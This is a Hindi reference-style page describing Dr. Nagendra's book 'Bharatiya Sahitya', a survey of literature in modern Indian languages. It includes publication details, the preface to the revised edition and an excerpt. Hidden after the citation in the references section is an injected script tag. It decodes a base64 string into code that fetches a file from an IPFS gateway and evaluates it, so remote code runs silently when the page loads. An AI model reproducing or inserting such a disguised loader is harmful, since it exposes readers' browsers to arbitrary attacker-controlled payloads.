भारतीय साहित्य -नगेन्द्र

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भारतीय साहित्य -नगेन्द्र
'भारतीय साहित्य' रचना का आवरण पृष्ठ
लेखक नगेन्द्र
मूल शीर्षक भारतीय साहित्य
प्रकाशक प्रभात प्रकाशन
प्रकाशन तिथि 2004
ISBN 81-7315-167-9
देश भारत
पृष्ठ: 628
भाषा हिंदी
विधा निबन्ध
मुखपृष्ठ रचना सजिल्द
विशेष इस ग्रन्थ में आधुनिक भारतीय भाषाओं की साहित्य-संपदा की रुपरेखा प्रस्तुत करने का प्रयास किया गया है।

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इस ग्रन्थ में आधुनिक भारतीय भाषाओं की साहित्य-संपदा की रुपरेखा प्रस्तुत करने का प्रयास किया गया है। इसमें संविधान में स्वीकृत चौदह भाषाओं के साहित्यिक विकास पर संक्षिप्त सर्वेक्षण लेख संकलित है। हिंदी, सिंधी और कश्मीरी में छोड़कर मूलतः अंग्रेजी में लिखे गये हैं जिनका प्रामाणिक हिंदी अनुवाद इस ग्रंथ में प्रस्तुत किया गया है।

नवीन संस्करण

आज लगभग तीन दशक बाद ‘भारतीय वाङ्मय’ को आंतरिक और वाह्य कायाकल्प के साथ ‘भारतीय साहित्य’ के रूप में प्रस्तुत करते हुए हम विशेष संतोष का अनुभव कर रहे हैं। ‘भारतीय वाङ्मय’ का देश-विदेश में जिस उत्साह के साथ स्वागत हुआ था, उसे देखते हुए इसका नवीन संस्करण प्रकाशित कराना हमारा नैतिक दायित्व हो गया था। परिमार्जन-परिवर्धन का यह समस्त कार्य हमने कई वर्ष पहले समाप्त कर लिया था, लेकिन अनेक प्रकार की बाधाओं के कारण हमारा संकल्प समय पूरा न हो सका। हमें विश्वास हैं कि ‘भारतीय साहित्य’ की मूलभूत एकता के प्रति आस्थावान पाठक प्रस्तुत प्रकाशन का भी उसी उदारता के साथ स्वागत करेंगे।

निबन्ध

‘भारतीय साहित्य’ के लगभग आधे निबंध नये हैं- सिंधी और कश्मीरी साहित्य-विषयक लेखों का पहली बार समावेश किया है और उर्दू, पंजाबी, कन्नड़ तथा तेलुगु साहित्य के आलोचनात्मक सर्वेक्षण फिर से लिखे गये हैं। शेष निबंधों का यथानुकूल संशोधन-परिवर्द्धन किया गया है। हिंदी, सिंधी तथा कश्मीरी को छोड़ कर अन्य भाषाओं से संबद्ध लेख मूलत: अंग्रेजी में थे, जिनके अनुवाद कार्य में हमें अनेक मित्रों का स्नेह-सहयोग प्राप्त हुआ है।

पुस्तक से

भारतवर्ष अनेक भाषाओं का विशाल देश है- उत्तर-पश्चिम में पंजाबी, हिन्दी और उर्दू; पूर्व में उड़िया, बंगाल में असमिया; मध्य-पश्चिम में मराठी और गुजराती और दक्षिण में तमिल, तेलुगु, कन्नड़ और मलयालम। इनके अतिरिक्त कतिपय और भी भाषाएं हैं जिनका साहित्यिक एवं भाषावैज्ञानिक महत्त्व कम नहीं है- जैसे कश्मीरी, डोगरी, सिंधी, कोंकणी, तूरू आदि। इनमें से प्रत्येक का, विशेषत: पहली बारह भाषाओं में से प्रत्येक का, अपना साहित्य है जो प्राचीनता, वैविध्य, गुण और परिमाण- सभी की दृष्टि से अत्यंत समृद्ध है। यदि आधुनिक भारतीय भाषाओं के ही संपूर्ण वाङ्मय का संचयन किया जाये तो मेरा अनुमान है कि वह यूरोप के संकलित वाङ्मय से किसी भी दृष्टि से कम नहीं होगा।

वैदिक संस्कृत, संस्कृत, पालि, प्राकृतों और अपभ्रंशों का समावेश कर लेने पर तो उसका अनंत विस्तार कल्पना की सीमा को पार कर जाता है- ज्ञान का अपार भंडार, हिंद महासागर से भी गहरा, भारत के भौगोलिक विस्तार से भी व्यापक हिमालय के शिखरों से भी ऊँचा और ब्रह्म की कल्पना से भी अधिक सूक्ष्म। इनमें प्रत्येक साहित्य का अपना स्वतंत्र और प्रखर वैशिष्ट्य है जो अपने प्रदेश के व्यक्तित्व से मुद्रांकित है। पंजाबी और सिंधी, इधर हिन्दी और उर्दू की प्रदेश-सीमाएँ कितनी मिली हुई हैं ! किंतु उनके अपने-अपने साहित्य का वैशिष्ट्य कितना प्रखर है ! इसी प्रकार गुजराती और मराठी का जन-जीवन परस्पर ओतप्रोत है, किंतु क्या उनके बीच में किसी प्रकार की भ्रांति संभव है ! दक्षिण की भाषाओं का उद्गम एक है : सभी द्रविड़ परिवार की विभूतियाँ हैं, परन्तु क्या कन्नड़ और मलयालम या तमिल और तेलुगु के स्वारूप्य के विषय में शंका हो सकती है ! यही बात बँगला, असमिया, और उड़िया के विषय में सत्य है। बंगाल के गहरे प्रभाव को पचाकर असमिया और उड़िया अपने स्वतंत्र अस्तित्व को बनाये हुए हैं।

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टीका टिप्पणी और संदर्भ

  1. नगेन्द्र, डॉ.। भारतीय साहित्य (हिंदी) प्रभात प्रकाशन। अभिगमन तिथि: 15 मई, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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